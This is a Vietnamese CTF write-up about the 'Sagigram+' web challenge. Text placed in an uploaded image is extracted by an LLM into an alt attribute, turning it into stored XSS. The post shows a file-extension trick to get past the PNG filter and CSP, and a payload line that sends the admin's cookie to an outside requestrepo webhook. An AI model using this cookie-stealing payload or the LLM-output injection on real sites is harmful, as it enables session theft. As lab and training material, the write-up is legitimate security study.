astronaut
Logbook
Web Security • Research • CTF
Menu →
Jul 04, 2023 · TFCCTF2024

Sagigram+

web

Status: Done

Summary

Note

💡 Một challenge khá hay về Web LLM. Tuy nhiên vì bài blackbox, không rõ ràng nên việc phát hiện LLM khá là khó. Mình không làm được trong giải; lúc đó upload ảnh lớn nên LLM không extract được text, khiến mình nghĩ vuln nằm chỗ khác. Thêm nữa, chall khó ở chỗ gửi friend request: ta không thấy nó làm gì. Tuy nhiên admin sẽ nhận được request và visit profile của ta.

Description

Untitled

Analyst

  • Ý tưởng của bài này là ta cần có XSS stored trong server. Từ đó admin visit và gửi flag lưu trong cookie.

  • Đầu tiên khi ta up lên 1 file ảnh text thì thấy LLM extract ra text và đẩy vào alt. Nếu ảnh không có text thì để mặc định là default description.

    Untitled

  • Từ đó ta nghĩ đến ý tưởng close value alt và chèn XSS. Thành công, tuy nhiên CSP gán self nên code payload không được thực thi.

  • Nếu ta có thể đẩy lên 1 file JS lưu ở server thì khi script gọi đến src path đó sẽ nhận script là self và execute.

  • Ý tưởng:

    • Đẩy lên file JS để bypass filter PNG khi upload (chèn filename.png.js).
    • Sau đó đẩy lên ảnh text để LLM extract ra, chèn code XSS và gửi req ra webhook.
    • Gửi friend request đến admin để lấy flag.

Exploit

  • Đẩy lên file JS:

Untitled

  • Payload file JS có dạng như sau:
document.location = "http://om6gplwj.requestrepo.com?" + document.cookie;

Vì bài này còn set thêm default-src nên ta dùng document.location thay vì fetch.

  • Up lên 1 ảnh như sau:

    1.png

  • Gửi request cho admin và có flag:

Untitled

Result